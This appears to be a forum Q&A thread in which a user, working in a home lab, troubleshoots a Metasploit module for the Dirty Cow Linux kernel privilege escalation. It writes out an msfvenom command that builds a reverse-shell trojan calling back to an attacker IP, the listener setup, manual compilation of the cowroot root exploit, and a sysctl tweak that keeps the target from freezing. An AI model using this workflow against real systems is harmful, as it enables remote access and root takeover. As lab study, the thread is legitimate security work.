7

I'm testing on some of my Linux Virtual Machines trying to exploit the Dirty Cow Vulnerability and I'm not able to success using Metasploit. First of all... for interested users, a couple of links to "Dirty Cow, What is" vulnerability, "Kernels affected" and explanation. I will explain the long version, maybe useful as manual for others. The question is in the last phrase!

I know that you must be able to launch commands from the "possible victim" machine and the kernel must be one of the affected. Nice, I'm working with a Debian Jessie VM using kernel 3.16 (which is affected).

I know we can compile it manually etc... but the point of my lab is try to "automatize" a little bit using Metasploit. First of all I downloaded the exploit to be used with the Metasploit framework. Is the .rb file downloaded from Rapid7 Github and adapted for Metasploit by nixawk.

I already put the .rb file under the right folder for Metasploit, in my case using Kali as "attacker" is /usr/share/metasploit-framework/modules/exploits/linux/local/ because is on linux category, etc. Now I can see from msfconsole the exploit using search dirtycow. So, everything looks good at Metasploit! now I can use it. Let's work...

After selecting the exploit use exploit/linux/local/DirtyCow showing the options show options, I can see as simple as set the session on which we are going to try to perform the exploit. We don't have one session yet. At the beginning I didn't know if is needed a meterpreter session or what kind of session. After some tests, it seems is needed a linux shell session. Ok, let's prepare the Trojan with the reverse tcp linux shell using msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTroj. The ip is where my Kali "attacker" linux is, port is ok, there is communication between both machines (victim and atacker) because they are on same LAN, no firewalls, etc..

I prepared the Metasploit "listening" for the shell session using use exploit/multi/handler , then setting the payload, in this case set payload linux/x86/shell/reverse_tcp. After that I set the parameters needed, port is default 4444 so is ok, set lhost 192.168.0.159 which is may lan's attacker Kali machine ip and that's all. I run the exploit keeping it "listening" in background using exploit -j.

Then, I copied manually the file with the Trojan's "present" to the victim's Debian machine and I executed it as root. On Metasploit the session is created on background with the ID 1. Everything ok. Now we select again the DirtyCow's exploit using use exploit/linux/local/DirtyCow and set the unique parameter needed with the id of our session set session 1 because the other parameter is fine, /tmp is ok, the path exists and there is write permissions for everybody. Ready to go... I run the exploit using exploit and this is my output:

[*] Started reverse TCP handler on 192.168.0.159:4444 
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.

It didn't worked... not sure what I'm doing wrong... I try to enter into the session to see what happened using sessions -i 1 and this is what I found:

[*] Starting interaction with 1...

2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-amd64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd

ld
ld: no input files

Not sure what is happening. gcc and ld commands are available on Debian's victim machine...

Is everything ok on attackers side? am I doing something wrong? Or is there a problem on victim's machine? Maybe the lack of some tool or something. If anybody can guide me... Thanks!

EDIT: I tried executing the Trojan using root and too I tested using a normal user on Debian's victim machine... the shell session is created in both cases but the final result is the same... same error, same log.

EDIT 2: The Metasploit module is based on cowroot PoC, so I downloaded the cowroot.c file from here, copied it manually to Debian's victim machine to try to compile it manually instead of using Metasploit. I Followed the instructions $ gcc cowroot.c -o cowroot -pthread and I obtained different error... Some warnings but no fatal error:

cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^

And if you try it is half working... I mean if you execute it $ ./cowroot it drops the root shell... but after a while, the entire victim machine hangs completely. So now I'm lost... Why is not working on Metasploit? Is normal to get O.S. freezed after exploit the Dirty Cow vulnerability? Maybe the freeze could be because of compilation warnings?

EDIT 3: There is a workaround for the freezing problem. After some googling I found that if you execute previously (or quickly after dropping root shell before freezing) on victim's machine this echo 0 > /proc/sys/vm/dirty_writeback_centisecs, then you launch the exploit and it doesn't hang the system. I searched inside the code of the Metasploit module (DirtyCow.rb) and I found this:

def on_new_session(client)
    client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end

So I guess after connecting with metasploit the system is not going to hang... But the point is still not working from Metasploit. :/

  • maybe your metaslpoit's PATH env is wrong, try opening a shell using the shell command and see what is set for it and what is the result of "which ld". – Jonathan Allon Jun 4 '17 at 22:25
  • I already tried this using different metasploits on different machines (Kali, Parrot). I also used different victims (Ubuntu 14, Debian 8). Same result always. I guess this ruby exploit is not working very well. For your info, my which id command output is /usr/bin/id (same output from standard shell and from inside metasploit console). – OscarAkaElvis Jun 5 '17 at 9:08
  • just to be sure i am talking about the shell you get from a meterpreter session, not from the msfconsole on your machine. – Jonathan Allon Jun 5 '17 at 11:14
1

A couple of things:

1) What are you setting your target to? If the system that you are compiling the exploit for is running a 64-bit kernel, this may cause some issues. The default target is set to 32-bit.

2) When you set your SESSION variable, make sure that you check the exploits options to ensure that it is being set correctly.

3) On the target, make sure that /usr/bin/passwd exists and is suid to root. Also make sure that gcc is located at /usr/bin/gcc, the exploit does not use the PATH environmental variable to find either of these files.

4) When you interact with the session after running the exploit, are you able to issue any shell commands? You may not see a prompt, but try running "id" or something to see if you get STDOUT back.

  • The documentation says that the payload must be a shell, not a meterpreter... anyway you gave me the idea to test.I created a new infected file with msfvenom, this time with meterpreter and x86. I used as a victim a 32 bits live iso of Ubuntu Trusty (14.04) I set up everything, the meterpreter session spawned, I ran the shell command, once in shell, commands working fine. Then I pressed Ctrl+Z to get back to meterpreter shell and once there executed background command to exit maintaining the session. I set up the dirty cow exploit, setting the session. target as default x86 and nothing, fail. – OscarAkaElvis Jun 5 '17 at 20:33
  • This is the output [*] Started reverse TCP handler on 192.168.0.159:4444 [*] Compiling /tmp/kUebqvczgO.c via gcc [*] Executing at 2017-06-05 22:29:02 +0200. [!] This exploit may require manual cleanup of '/tmp/kUebqvczgO.c' on the target [!] This exploit may require manual cleanup of '/tmp/kUebqvczgO.out' on the target [*] Exploit completed, but no session was created. . Does anybody really got it working? I really think this exploit is not working for Metasploit. Maybe is the reason is not included yet directly as exploit in the tool main set of exploits. – OscarAkaElvis Jun 5 '17 at 20:35
  • Did you try a few different payloads? From what I am seeing elsewhere, a lot of the stability is dependent upon the payload used. You can always try to replace the exploit code that gets compiled with one of the other dirtycow exploits and see if there is any change. – Joshua Gimer Jun 6 '17 at 2:22
  • I tried using meterpreter... using shell payload too... with x86 payload, with x64... of course changing the target option on dirtycow exploit on each change... with different victim systems (all of them with kernel affected by dirty cow)... etc. Did it worked for you? tell me what OS do you used as attacker and as victim and what payload and I'll try to reproduce it exactly. – OscarAkaElvis Jun 6 '17 at 9:54

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.